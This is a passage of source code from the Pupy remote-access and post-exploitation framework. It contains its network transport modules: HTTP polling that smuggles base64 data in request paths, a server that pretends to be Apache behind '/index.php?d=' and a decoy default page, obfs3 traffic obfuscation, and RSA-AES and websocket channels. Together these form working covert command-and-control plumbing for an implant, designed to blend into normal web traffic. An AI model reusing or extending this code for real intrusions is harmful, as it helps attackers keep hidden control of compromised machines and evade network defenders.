                response += encoded_data

                self.downstream.write(response)

    def http_req2data(self, s):
        if not s.startswith((b'GET ', b'POST ', b'HEAD ', b'PUT ')):
            raise InvalidHTTPReq()

        first_line, headers = s.split(b'\r\n', 1)

        if self.verify_user_agent is not None:
            found_ua = False
            try:
                for name, value in [[i.strip() for i in x.split(b':',1)] for x in headers.split(b'\r\n')]:
                    if name.lower() == b'user-agent':
                        if value.strip() == self.verify_user_agent.strip():
                            found_ua = True
            except:
                raise MalformedData('invalid user agent')

            if not found_ua:
                raise MalformedData('invalid user agent')

        if not first_line.endswith(b' HTTP/1.1'):
            raise InvalidHTTPReq()

        method, path, http_ver=first_line.split()
        payload = path[len(self._path):]

        if payload.startswith(b'poll'):
            return None

        try:
            decoded_data = base64.urlsafe_b64decode(payload)
        except:
            raise MalformedData("can't decode b64")

        return decoded_data

    def downstream_recv(self, data):
        """
            HTTP requests to raw data
        """

        d = data.peek()
        decoded_data = b''
        tab = d.split(b'\r\n\r\n')

        requests = 0

        if not d.endswith(b'\r\n\r\n'):
            tab = tab[:-1] #last part is not complete yet

        for req in tab:
            newdata = None

            try:
                if req:
                    requests += 1

                    newdata = self.http_req2data(req)
                    if newdata is not None:
                        decoded_data += newdata

                    data.drain(len(req)+4)
                else:
                    continue

            except (MalformedData, InvalidHTTPReq):
                logging.exception('invalid/malformed data, answering 404 and closing connection')
                self.downstream.write(error_response)
                self.close()
                return

            except Exception as e:
                logging.exception(e)
                break

            if newdata is not None:
                response = b'HTTP/1.1 %s\r\n'%self.response_code.encode('ascii')

                for name, value in self.headers.items():
                    response += b'%s: %s\r\n'%(
                        name.encode('ascii'),
                        value.encode('ascii')
                    )

                response += b'Content-Length: 0\r\n'
                response += b'\r\n'

                with self.polled_lock:
                    self.downstream.write(response)

            else:
                encoded_data = None

                with self.polled_lock:
                    pending_data = None

                    if self.pending_data:
                        pending_data = b''.join(self.pending_data)
                        self.pending_data = []

                    if pending_data:
                        encoded_data = base64.urlsafe_b64encode(pending_data)
                    else:
                        self.polled += 1

                    if encoded_data:
                        response = b'HTTP/1.1 %s\r\n'%self.response_code.encode('ascii')
                        for name, value in self.headers.items():
                            response += b'%s: %s\r\n'%(
                                name.encode('ascii'),
                                value.encode('ascii')
                            )

                        response += b'Content-Length: %s\r\n'%len(encoded_data)
                        response += b'\r\n'
                        response += encoded_data

                        self.downstream.write(response)

        if decoded_data:
            self.upstream.write(decoded_data)

        if requests > 1:
            self.pipelining.set()

        if not self.pipelining.is_set() and self.polled:
            with self.polled_lock:
                self.last_access = time.time()

            if not self.poll_flusher_started:
                self.poll_flusher_started = True
                self.poll_flusher_thread = threading.Thread(target=self.poll_flusher)
                self.poll_flusher_thread.daemon = True
                self.poll_flusher_thread.start()


================================================
FILE: pupy/network/lib/transports/httpwrap.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['PupyHTTPWrapperServer']

from io import open
from os import path, stat

try:
    from http_parser.parser import HttpParser
except ImportError:
    from http_parser.pyparser import HttpParser

from pupy.network.lib.buffer import Buffer
from pupy.network.lib import getLogger

from ..base import BasePupyTransport, ReleaseChainedTransport

logger = getLogger('httpwrap')


class PupyHTTPWrapperServer(BasePupyTransport):
    path = '/index.php?d='
    allowed_methods = ('GET')
    server = None
    headers = {
        'Content-Type': 'text/html; charset=utf-8',
        'Server': 'Apache',
        'Connection': 'close',
    }

    __slots__ = (
        'parser', 'is_http',
        'body', 'downstream_buffer',
        'well_known', 'omit', 'probe_len'
    )

    def __init__(self, *args, **kwargs):
        super(PupyHTTPWrapperServer, self).__init__(*args, **kwargs)

        self.parser = HttpParser()
        self.is_http = None
        self.body = []
        self.downstream_buffer = Buffer()

        self.well_known = ('GET', 'POST', 'OPTIONS', 'HEAD', 'PUT', 'DELETE')
        self.omit = tuple(
            '{} {}'.format(x, y) for x in self.well_known for y in (
                self.path, '/ws/', 'ws/'))
        self.probe_len = max(len(x) for x in self.omit)

    def _http_response(self, code, status, headers=None, datasize=None, content=None):
        headers = {}
        headers.update(self.headers)

        if headers:
            headers.update(headers)

        if datasize:
            headers.update({
                'Content-Length': datasize,
                'Content-Type': 'application/octet-stream',
            })

        data = '\r\n'.join([
            'HTTP/1.1 {} {}'.format(code, status),
            '\r\n'.join([
                '{}: {}'.format(key, value) for key,value in headers.items()
            ])
        ]) + '\r\n\r\n'

        self.downstream.write(data)

    def _handle_file(self, filepath):
        try:
            with open(filepath, 'rb') as infile:
                size = stat(filepath).st_size
                self._http_response(200, 'OK', datasize=size)

                while True:
                    data = infile.read(65535)
                    if data:
                        self.downstream.write(data)
                    else:
                        break

        except:
            self._http_response(404, 'Not found', 'Not found')

    def _handle_not_found(self):
        self._http_response(404, 'Not found', 'Not found')

    def _handle_http(self, data):
        self.parser.execute(data, len(data))

        if self.parser.is_headers_complete():
            try:
                if not self.parser.get_method() in self.allowed_methods:
                    self._http_response(405, 'Method Not Allowed')

                else:
                    urlpath = self.parser.get_path()
                    urlpath = [
                        x.strip() for x in urlpath.split('/') if (
                            x and not str(x) in ('.', '..')
                        )
                    ]

                    root = self.server.config.get_folder('wwwroot')
                    secret = self.server.config.getboolean('httpd', 'secret')
                    log = self.server.config.getboolean('httpd', 'log')

                    if secret:
                        wwwsecret = self.server.config.get('randoms', 'wwwsecret', random=5)
                        if not (urlpath and urlpath[0] == wwwsecret):
                            self._handle_not_found()
                            if log:
                                self.server.info('{}: GET {} | SECRET = {}'.format(
                                    '{}:{}'.format(*self.downstream.transport.peer[:2]), urlpath, wwwsecret),
                                                 error=True)
                            return

                        urlpath = urlpath[1:]

                    urlpath = path.sep.join([
                        self.server.config.get('randoms', x, new=False) or x for x in urlpath
                    ])

                    if not urlpath:
                        urlpath = 'index.html'

                    filepath = path.join(root, urlpath)

                    if path.exists(filepath):
                        self._handle_file(filepath)
                        if log:
                            message = urlpath
                            if filepath in self.server.served_content:
                                message = message + ' <' + self.server.served_content[filepath] + '>'

                            self.server.info('{}: GET /{}'.format(
                                '{}:{}'.format(*self.downstream.transport.peer[:2]), message))

                    else:
                        self._handle_not_found()
                        if log:
                            self.server.info('{}: GET {}'.format(
                                '{}:{}'.format(*self.downstream.transport.peer[:2]), urlpath),
                                             error=True)
            finally:
                self.close()

    def downstream_recv(self, data):
        header = data.peek(self.probe_len)

        if self.server and self.is_http is None:
            try:
                self.is_http = header.startswith(self.well_known) and \
                    not header.startswith(self.omit)

            except UnicodeError:
                self.is_http = False

            if __debug__:
                logger.debug('Http: %s', self.is_http)

        if self.is_http:
            self._handle_http(data.read())
        else:
            if __debug__:
                logger.debug('Write to upstream: len=%d, handler=%s',
                    len(data), self.upstream.on_write_f)

            data.write_to(self.upstream)

            if self.downstream_buffer:
                if __debug__:
                    logger.debug('Flush buffer to downstream: len=%d, handler=%s',
                        len(self.downstream_buffer), self.downstream.on_write_f)

                self.downstream_buffer.write_to(self.downstream)

            if __debug__:
                logger.debug('Release transport')

            raise ReleaseChainedTransport()

    def upstream_recv(self, data):
        if __debug__:
            logger.debug('Send intent: len=%d', len(data))

        if self.is_http is None:
            data.write_to(self.downstream_buffer)

            if __debug__:
                logger.debug('HTTP? Append to pending buffer: total len=%d',
                    len(self.downstream_buffer))

        elif not self.is_http:
            if __debug__:
                logger.debug('Non-HTTP: Direct pass (handler=%s)',
                    self.downstream.on_write_f)

            if self.downstream_buffer:
                self.downstream_buffer.write_to(self.downstream)

            data.write_to(self.downstream)
        else:
            if __debug__:
                logger.debug('HTTP: Omit data')

            pass


================================================
FILE: pupy/network/lib/transports/obfs3/__init__.py
================================================


================================================
FILE: pupy/network/lib/transports/obfs3/obfs3.py
================================================
#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
The obfs3 module implements the obfs3 protocol.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('Obfs3Client', 'Obfs3Server')

import random

from . import obfs3_dh
from ...base import BaseTransport
from ..cryptoutils import (
    NewAESCipher, AES_MODE_CTR,
    get_random, hmac_sha256_digest
)

from pupy.network.lib.buffer import Buffer
from pupy.network.lib import getLogger
logger = getLogger('obfs3')

MAX_PADDING = 8194

PUBKEY_LEN = 192
KEYLEN = 16  # is the length of the key used by E(K,s) -- that is, 16.
HASHLEN = 32 # length of output of sha256

ST_WAIT_FOR_KEY = 0 # Waiting for public key from the other party
ST_WAIT_FOR_HANDSHAKE = 1 # Waiting for the DH handshake
ST_SEARCHING_MAGIC = 2 # Waiting for magic strings from the other party
ST_OPEN = 3 # Sending application data.

class Obfs3Transport(BaseTransport):
    """
    Obfs3Transport implements the obfs3 protocol.
    """

    __slots__ = (
        'state',  'dh', 'shared_secret', 'scanned_padding',
        'last_padding_chunk', 'other_magic_value',
        'send_crypto', 'recv_crypto', 'queued_data',
        'send_keytype', 'recv_keytype', 'send_magic_const',
        'recv_magic_const', 'we_are_initiator'
    )

    def __init__(self, *args, **kwargs):
        """Initialize the obfs3 pluggable transport."""
        super(Obfs3Transport, self).__init__(*args, **kwargs)

        # Our state.
        self.state = ST_WAIT_FOR_KEY

        # Uniform-DH object
        self.dh = obfs3_dh.UniformDH()

        # DH shared secret
        self.shared_secret = None

        # Bytes of padding scanned so far.
        self.scanned_padding = 0
        # Last padding bytes scanned.
        self.last_padding_chunk = ''

        # Magic value that the other party is going to send
        # (initialized after deriving shared secret)
        self.other_magic_value = None
        # Crypto to encrypt outgoing data.
        self.send_crypto = None
        # Crypto to decrypt incoming data.
        self.recv_crypto = None

        # Buffer for the first data, Tor is trying to send but can't right now
        # because we have to handle the DH handshake first.
        self.queued_data = Buffer()

        # Attributes below are filled by classes that inherit Obfs3Transport.
        self.send_keytype = None
        self.recv_keytype = None
        self.send_magic_const = None
        self.recv_magic_const = None
        self.we_are_initiator = None

    def circuitConnected(self):
        """
        Do the obfs3 handshake:
        PUBKEY | WR(PADLEN)
        """
        padding_length = random.randint(0, MAX_PADDING/2)

        public_key = self.dh.get_public()

        handshake_message = public_key + get_random(padding_length)

        if __debug__:
            logger.debug(
                "obfs3 handshake: %s queued %d bytes (padding_length: %d) (public key: %s).",
                "initiator" if self.we_are_initiator else "responder",
                len(handshake_message), padding_length, repr(public_key))

        self.downstream.write(handshake_message)

    def receivedUpstream(self, data):
        """
        Got data from upstream. We need to obfuscated and proxy them downstream.
        """

        if self.state != ST_OPEN:
            if __debug__:
                logger.debug(
                    "Got upstream data before doing handshake [STATE=%d]. Caching.",
                    self.state)

            data.write_to(self.queued_data)
            return

        if __debug__:
            logger.debug("obfs3 receivedUpstream: Transmitting %d bytes.", len(data))

        if self.queued_data:
            if __debug__:
                logger.debug("Flush %d bytes of queued data (???) ", len(self.queued_data))

            self.queued_data.write_to(self.downstream, modificator=self.send_crypto.encrypt)

        # Proxy encrypted message.
        data.write_to(self.downstream, modificator=self.send_crypto.encrypt)

    def receivedDownstream(self, data):
        """
        Got data from downstream. We need to de-obfuscate them and
        proxy them upstream.
        """

        if self.state == ST_WAIT_FOR_KEY: # Looking for the other peer's pubkey
            if __debug__:
                logger.debug("Wait for key")

            self._read_handshake(data)

        if self.state == ST_WAIT_FOR_HANDSHAKE: # Doing the exp mod
            if __debug__:
                logger.debug("Wait for handshake")

            return

        if self.state == ST_SEARCHING_MAGIC: # Looking for the magic string
            if __debug__:
                logger.debug("Search magic")

            if self._scan_for_magic(data) and self.queued_data:
                if __debug__:
                    logger.debug('Flush queued data: %d', len(self.queued_data))

                self.queued_data.write_to(self.downstream, modificator=self.send_crypto.encrypt)

        if self.state == ST_OPEN: # Handshake is done. Just decrypt and read application data.
            if __debug__:
                logger.debug("obfs3 receivedDownstream: Processing %d bytes of application data." %
                             (len(data)))

            if not data:
                return

            data.write_to(self.upstream, modificator=self.recv_crypto.encrypt)

    def _read_handshake(self, data):
        """
        Read handshake message, parse the other peer's public key and
        schedule the key exchange for execution outside of the event loop.
        """

        if len(data) < PUBKEY_LEN:
            if __debug__:
                logger.debug("Read handshake - short read")

            return

        # Get the public key from the handshake message, do the DH and
        # get the shared secret.
        other_pubkey = data.read(PUBKEY_LEN)

        if __debug__:
            logger.debug("Other pubkey: %s", repr(other_pubkey))

        self.state = ST_WAIT_FOR_HANDSHAKE

        try:
            kex = self.dh.get_secret(other_pubkey)
            self._read_handshake_post_dh(kex, data)
        except Exception as e:
            if __debug__:
                logger.exception('DH Exception: %s', e)

            self._uniform_dh_errback(e, other_pubkey)

    def _uniform_dh_errback(self, failure, other_pubkey):
        """
        Worker routine that does the actual UniformDH key exchange.  We need to
        call it from a defered so that it does not block the main event loop.
        """

        #e = failure.trap(ValueError)
        if __debug__:
            logger.warning("obfs3: Corrupted public key '%s'" % repr(other_pubkey))

        raise EOFError('Corrupted public key ({})'.format(failure))

    def _read_handshake_post_dh(self, shared_secret, data):
        """
        Setup the crypto from the calculated shared secret, and complete the
        obfs3 handshake.
        """

        if __debug__:
            logger.debug('DH Complete, secret: %s', repr(shared_secret))

        self.shared_secret = shared_secret

        # Set up our crypto.
        self.send_crypto = self._derive_crypto(self.send_keytype)
        self.recv_crypto = self._derive_crypto(self.recv_keytype)
        self.other_magic_value = hmac_sha256_digest(
            self.shared_secret, self.recv_magic_const)

        # Send our magic value to the remote end
        # Padding is prepended so that the server does not just send the 32-byte magic
        # in a single TCP segment.
        padding_length = random.randint(0, MAX_PADDING//2)
        if __debug__:
            logger.debug('Padding length: %d', padding_length)

        magic = hmac_sha256_digest(self.shared_secret, self.send_magic_const)
        message = get_random(padding_length) + magic

        self.state = ST_SEARCHING_MAGIC
        self.downstream.write(message)

    def _scan_for_magic(self, data):
        """
        Scan 'data' for the magic string. If found, drain it and all
        the padding before it. Then open the connection.
        """

        assert(self.other_magic_value)
        chunk = data.peek(MAX_PADDING+HASHLEN)

        index = chunk.find(self.other_magic_value)
        if index < 0:
            if __debug__:
                logger.debug('Magic not found / chunk len: %d', len(chunk))

            if (len(data) > MAX_PADDING+HASHLEN):
                raise EOFError("obfs3: Too much padding (%d)!" % len(data))

            return False

        if __debug__:
            logger.debug('Magic (len=%d) found at: %d',
                index, len(self.other_magic_value))

        index += len(self.other_magic_value)
        data.drain(index)

        self.state = ST_OPEN
        return True

    def _derive_crypto(self, pad_string):
        """
        Derive and return an obfs3 key using the pad string in 'pad_string'.
        """
        secret = hmac_sha256_digest(self.shared_secret, pad_string)
        return NewAESCipher(secret[:KEYLEN], secret[KEYLEN:], AES_MODE_CTR)

class Obfs3Client(Obfs3Transport):

    """
    Obfs3Client is a client for the obfs3 protocol.
    The client and server differ in terms of their padding strings.
    """

    __slots__ = ()

    def __init__(self, *args, **kwargs):
        Obfs3Transport.__init__(self, *args, **kwargs)

        self.send_keytype = b"Initiator obfuscated data"
        self.recv_keytype = b"Responder obfuscated data"
        self.send_magic_const = b"Initiator magic"
        self.recv_magic_const = b"Responder magic"
        self.we_are_initiator = True

class Obfs3Server(Obfs3Transport):

    """
    Obfs3Server is a server for the obfs3 protocol.
    The client and server differ in terms of their padding strings.
    """

    __slots__ = ()

    def __init__(self, *args, **kwargs):
        Obfs3Transport.__init__(self, *args, **kwargs)

        self.send_keytype = b"Responder obfuscated data"
        self.recv_keytype = b"Initiator obfuscated data"
        self.send_magic_const = b"Responder magic"
        self.recv_magic_const = b"Initiator magic"
        self.we_are_initiator = False


================================================
FILE: pupy/network/lib/transports/obfs3/obfs3_dh.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import binascii

__all__ = ['UniformDH']

from ..cryptoutils import get_random
from ..obfscommon import modexp

def int_to_bytes(lvalue, width):
    fmt = '%%.%dx' % (2*width)
    return binascii.unhexlify(fmt % (lvalue & ((1<<8*width)-1)))

class UniformDH(object):
    """
    This is a class that implements a DH handshake that uses public
    keys that are indistinguishable from 192-byte random strings.

    The idea (and even the implementation) was suggested by Ian
    Goldberg in:
    https://lists.torproject.org/pipermail/tor-dev/2012-December/004245.html
    https://lists.torproject.org/pipermail/tor-dev/2012-December/004248.html

    Attributes:
    mod, the modulus of our DH group.
    g, the generator of our DH group.
    group_len, the size of the group in bytes.

    priv_str, a byte string representing our DH private key.
    priv, our DH private key as an integer.
    pub_str, a byte string representing our DH public key.
    pub, our DH public key as an integer.
    shared_secret, our DH shared secret.
    """

    # 1536-bit MODP Group from RFC3526
    mod = int(
        """FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1
           29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD
           EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245
           E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED
           EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D
           C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F
           83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D
           670C354E 4ABC9804 F1746C08 CA237327 FFFFFFFF FFFFFFFF""".replace(' ','').replace('\n','').replace('\t',''), 16)
    g = 2
    group_len = 192 # bytes (1536-bits)

    __slots__ = ('priv_str', 'priv', 'pub', 'pub_str', 'shared_secret')

    def __init__(self, private_key = None):
        # Generate private key
        if private_key is not None:
            if len(private_key) != self.group_len:
                raise ValueError("private_key is a invalid length (Expected %d, got %d)" % (
                    self.group_len, len(private_key)))
            self.priv_str = private_key
        else:
            self.priv_str = get_random(self.group_len)
        self.priv = int(binascii.hexlify(self.priv_str), 16)

        # Make the private key even
        flip = self.priv % 2
        self.priv -= flip

        # Generate public key
        #
        # Note: Always generate both valid public keys, and then pick to avoid
        # leaking timing information about which key was chosen.
        pub = modexp.powMod(self.g, self.priv, self.mod)
        pub_p_sub_X = self.mod - pub
        if flip == 1:
            self.pub = pub_p_sub_X
        else:
            self.pub = pub
        self.pub_str = int_to_bytes(self.pub, self.group_len)

        self.shared_secret = None

    def get_public(self):
        return self.pub_str

    def get_secret(self, their_pub_str):
        """
        Given the public key of the other party as a string of bytes,
        calculate our shared secret.

        This might raise a ValueError since 'their_pub_str' is
        attacker controlled.
        """
        their_pub = int(binascii.hexlify(their_pub_str), 16)

        self.shared_secret = modexp.powMod(their_pub, self.priv, self.mod)
        return int_to_bytes(self.shared_secret, self.group_len)


================================================
FILE: pupy/network/lib/transports/obfscommon/__init__.py
================================================


================================================
FILE: pupy/network/lib/transports/obfscommon/modexp.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
try:
    from gmpy2 import mpz as mpz
except ImportError:
    try:
        from gmpy import mpz as mpz
    except ImportError:
        def mpz(x):
            return x
        pass

__all__ = ['powMod']

def powMod(x, y, mod):
    """
    (Efficiently) Calculate and return `x' to the power of `y' mod `mod'.

    If possible, the three numbers are converted to GMPY's bignum
    representation which speeds up exponentiation.  If GMPY is not installed,
    built-in exponentiation is used.
    """

    x = mpz(x)
    y = mpz(y)
    mod = mpz(mod)
    return pow(x, y, mod)


================================================
FILE: pupy/network/lib/transports/obfscommon/serialize.py
================================================
"""Helper functions to go from integers to binary data and back."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import struct

__all__ = ['htonl', 'ntohl', 'htons', 'ntohs', 'asbyte', 'frombyte']


def htonl(n):
    """
    Convert integer in 'n' from host-byte order to network-byte order.
    """

    return struct.pack('!I', n)

def ntohl(bs):
    """
    Convert integer in 'n' from pupy.network-byte order to host-byte order.
    """
    return struct.unpack('!I', bs)[0]


def htons(n):
    """
    Convert integer in 'n' from host-byte order to network-byte order.
    """
    return struct.pack('!h', n)


def ntohs(bs):
    """
    Convert integer in 'n' from pupy.network-byte order to host-byte order.
    """
    return struct.unpack('!h', bs)[0]


def asbyte(ival):
    return struct.pack('B', ival)


def frombyte(bval):
    return struct.unpack('B', bval)[0]


================================================
FILE: pupy/network/lib/transports/rsa_aes.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('RSA_AESClient', 'RSA_AESServer')

""" This module contains an implementation of a simple xor transport for pupy. """

from ..base import BasePupyTransport, TransportError

import traceback
import struct
import rsa

from io import open

from .cryptoutils import get_random, NewAESCipher

from pupy.network.lib.buffer import Buffer
from pupy.network.lib import getLogger

BLOCK_SIZE = 16
CHUNK_SIZE = 4096

logger = getLogger('rsaaes')

class RSA_AESTransport(BasePupyTransport):
    """
    Implements a transport that simply apply a RSA_AES to each byte
    """
    password     = None
    iterations   = 1000
    rsa_key_size = 4096
    aes_size     = 256

    __slots__ = (
        'key_size',
        '_iv_enc', '_iv_dec',
        'enc_cipher', 'dec_cipher',
        'aes_key', 'size_to_read',
        'first_block', 'buffer'
    )

    def __init__(self, *args, **kwargs):
        super(RSA_AESTransport, self).__init__(*args, **kwargs)
        if self.aes_size == 256:
            self.key_size = 32
        elif self.aes_size == 128:
            self.key_size = 16
        else:
            raise TransportError("Only AES 256 and 128 are supported")

        self._iv_enc = get_random(BLOCK_SIZE)
        self.enc_cipher = None
        self.dec_cipher = None
        self._iv_dec = None
        self.aes_key = None
        self.size_to_read = None
        self.first_block = b""
        self.buffer = Buffer()

    def upstream_recv(self, data):
        try:
            with data:
                lctext = len(data)
                ltotal = lctext + 4
                lremainder = ltotal % BLOCK_SIZE
                if lremainder:
                    ltotal += BLOCK_SIZE - lremainder

                data.insert(struct.pack('>I', lctext))
                data.truncate(ltotal)

                if __debug__:
                    logger.debug('Send: cleartext len = %d padded+header = %d', lctext, len(data))

                data.write_to(
                    self.downstream,
                    modificator=self.enc_cipher.encrypt,
                    chunk_size=CHUNK_SIZE)

        except Exception as e:
            logger.debug(e)

    def downstream_recv(self, data):
        try:
            if __debug__:
                logger.debug('Recv data len=%d', len(data))

            if not self._iv_dec:
                if __debug__:
                    logger.debug('Read IV')

                if len(data) < BLOCK_SIZE:
                    if __debug__:
                        logger.debug('Read IV: Short read: %d < %d', len(data), BLOCK_SIZE)
                    return

                self._iv_dec = data.read(BLOCK_SIZE)
                self.dec_cipher = NewAESCipher(self.aes_key, self._iv_dec)

            while True:
                if not self.size_to_read:
                    if len(data) < BLOCK_SIZE:
                        if __debug__:
                            logger.debug('Read chunk header: Short read: %d < %d', len(data), BLOCK_SIZE)
                        break

                    self.first_block = self.dec_cipher.decrypt(data.read(BLOCK_SIZE))
                    self.size_to_read = struct.unpack_from('>I', self.first_block)[0]

                    if self.size_to_read == 0:
                        raise ValueError('Zero sized chunk')

                    if __debug__:
                        logger.debug('Read chunk header: expect: %d', self.size_to_read)

                if self.size_to_read <= len(self.first_block) - 4:
                    if __debug__:
                        logger.debug('Read chunk: consume small chunk')
                    # the remaining data is padding, just drop it
                    self.upstream.write(self.first_block[4:4+self.size_to_read])
                    self.size_to_read = 0
                    self.first_block = b''
                    continue

                if self.first_block:
                    if __debug__:
                        logger.debug('Read chunk: start: cleartext len = %d', self.size_to_read)

                    self.upstream.write(self.first_block[4:], notify=False)
                    self.size_to_read -= BLOCK_SIZE - 4
                    self.first_block = b''

                s = self.size_to_read

                if s % BLOCK_SIZE:
                    s += BLOCK_SIZE - (s % BLOCK_SIZE)

                lb = len(data)
                lb -= lb % BLOCK_SIZE

                while s and lb:
                    if __debug__:
                        logger.debug('Read chunk: required: %d available: %d', s, lb)

                    to_read = min(s, CHUNK_SIZE)
                    to_read = min(lb, to_read)

                    cleartext = self.dec_cipher.decrypt(data.read(to_read))
                    s -= to_read
                    lb -= to_read

                    if to_read >= self.size_to_read:
                        self.upstream.write(cleartext[:self.size_to_read])
                        self.size_to_read = 0

                        if __debug__:
                            logger.debug('Read chunk: chunk finished')

                    else:
                        self.upstream.write(cleartext, notify=False)
                        self.size_to_read -= to_read

                if not lb:
                    if __debug__:
                        logger.debug('Read chunk: No more data')

                    break

        except:
            logger.debug(traceback.format_exc())


class RSA_AESClient(RSA_AESTransport):
    __slots__ = (
        '_pubkey', '_pubkey_path'
    )

    pubkey = None
    pubkey_path = None

    def __init__(self, *args, **kwargs):
        super(RSA_AESClient, self).__init__(*args, **kwargs)

        self._pubkey = kwargs.get('pubkey', getattr(self, 'pubkey'))
        self._pubkey_path = kwargs.get('pubkey_path', getattr(self, 'pubkey_path'))

        if self._pubkey_path:
            self._pubkey = open(self._pubkey_path).read()

        if self._pubkey is None:
            raise TransportError(
                'A public key (pem format) needs to be supplied for RSA_AESClient'
            )

    def on_connect(self):
        pk = rsa.PublicKey.load_pkcs1(self._pubkey)
        self.aes_key = get_random(self.key_size)
        self.enc_cipher = NewAESCipher(self.aes_key, self._iv_enc)

        pkey = rsa.encrypt(self.aes_key, pk)
        self.downstream.write(pkey, notify=False)
        logger.debug('AES key crypted with RSA public key and sent to server (len=%d)', len(pkey))
        self.downstream.write(self._iv_enc)
        logger.debug('IV (len=%d) sent to Server', len(self._iv_enc))


class RSA_AESServer(RSA_AESTransport):
    __slots__ = (
        '_privkey', '_privkey_path',
        'pk', 'post_handshake_callbacks'
    )

    privkey = None
    privkey_path = None

    def __init__(self, *args, **kwargs):
        super(RSA_AESServer, self).__init__(*args, **kwargs)

        self._privkey = kwargs.get(
            'privkey', getattr(self, 'privkey')
        )

        self._privkey_path = kwargs.get(
            'privkey_path', getattr(self, 'privkey_path')
        )

        if self._privkey_path:
            self._privkey=open(self.privkey_path).read()

        if self._privkey is None:
            raise TransportError(
                'A private key (pem format) needs to be supplied for RSA_AESServer'
            )

        self.pk = rsa.PrivateKey.load_pkcs1(self._privkey)
        self.post_handshake_callbacks = []

    def downstream_recv(self, data):
        try:
            if self.aes_key is None: #receive aes key
                logger.debug('Read AES Key')

                expected = self.rsa_key_size // 8
                if len(data) < expected:
                    logger.debug('Read AES Key: Short read: %d < %d', len(data), expected)
                    return

                cmsg = data.read(expected)

                try:
                    self.aes_key = rsa.decrypt(cmsg, self.pk)
                except rsa.pkcs1.DecryptionError:
                    logger.debug("decrypt failed")
                    self.close()
                    return

                self.enc_cipher = NewAESCipher(self.aes_key, self._iv_enc)
                logger.debug('client AES key received && decrypted from RSA private key')

                self.downstream.write(self._iv_enc) # send IV
                logger.debug('IV (len=%d) sent to Client', len(self._iv_enc))

                if self.buffer:
                    logger.debug('Flush buffer to client')
                    super(RSA_AESServer, self).upstream_recv(self.buffer)
                    self.buffer = None

            super(RSA_AESServer, self).downstream_recv(data)

        except Exception as e:
            logger.debug(e)

    def upstream_recv(self, data):
        if self.enc_cipher:
            super(RSA_AESServer, self).upstream_recv(data)
        else:
            data.write_to(self.buffer)
            logger.debug('Pending data: len=%d', len(self.buffer))


================================================
FILE: pupy/network/lib/transports/utils.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['call_later']

import time
import threading


def delayer_func(delay, cb, args, kwargs):
    time.sleep(delay)
    cb(*args, **kwargs)


def call_later(delay, callable, *args, **kw):
    t = threading.Thread(target=delayer_func, args=(delay, callable, args, kw))
    t.daemon = True
    t.start()


================================================
FILE: pupy/network/lib/transports/websocket.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

""" This module contains an implementation of the 'websocket' transport for pupy.

    Lots of the WebSocket protocol code came from https://github.com/Pithikos/python-websocket-server
"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'InvalidHTTPReq', 'PupyWebSocketTransport',
    'PupyWebSocketClient', 'PupyWebSocketServer'
)

import base64
import struct
import random
import string
import re
import sys

from hashlib import sha1
from pupy.network.lib.buffer import Buffer

from ..base import BasePupyTransport

from pupy.network.lib import getLogger
from pupy.network.lib.transports.cryptoutils import XOR

logger = getLogger('ws')

def dprint(*args):
    if __debug__:
        logger.debug(*args)

error_response_body = b'''<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
</body></html>'''

error_response = b'\r\n'.join((
    b'HTTP/1.1 200 OK',
    b'Server: Apache',
    b'Content-Type: text/html; charset=utf-8',
    b'Content-Length: %d' % len(error_response_body),
    b'',
    error_response_body
))

UPGRADE_101_SUCCESS = b'HTTP/1.1 101 '
MASK_LEN = 4

FIN                 = 0x80
OPCODE              = 0x0f
MASKED              = 0x80
PAYLOAD_LEN         = 0x7f
PAYLOAD_LEN_EXT16   = 0x7e
PAYLOAD_LEN_EXT64   = 0x7f
PAYLOAD_LEN_MAX     = 18446744073709551616
OPCODE_CONTINUATION = 0x0
OPCODE_TEXT         = 0x1
OPCODE_BINARY       = 0x2
OPCODE_CLOSE_CONN   = 0x8
OPCODE_PING         = 0x9
OPCODE_PONG         = 0xA


class InvalidHTTPReq(Exception):
    __slots__ = ()


def add_ws_encapsulation(data, output, mask=None, opcode=OPCODE_BINARY):
    payload_len = len(data)
    header = None
    mask_flag = MASKED if mask else 0

    if payload_len < PAYLOAD_LEN_EXT16:
        header = struct.pack('BB', opcode, payload_len | mask_flag)
    elif payload_len >= PAYLOAD_LEN_EXT16 and payload_len <= 65535:
        header = struct.pack(
            '>BBH', opcode, PAYLOAD_LEN_EXT16 | mask_flag, payload_len)
    elif payload_len < PAYLOAD_LEN_MAX:
        header = struct.pack(
            '>BBQ', opcode, PAYLOAD_LEN_EXT64 | mask_flag, payload_len)
    else:
        raise Exception('Message too large to send without fragmentation')

    modificator = None
    if mask:
        header += mask
        modificator = XOR(mask).strxor
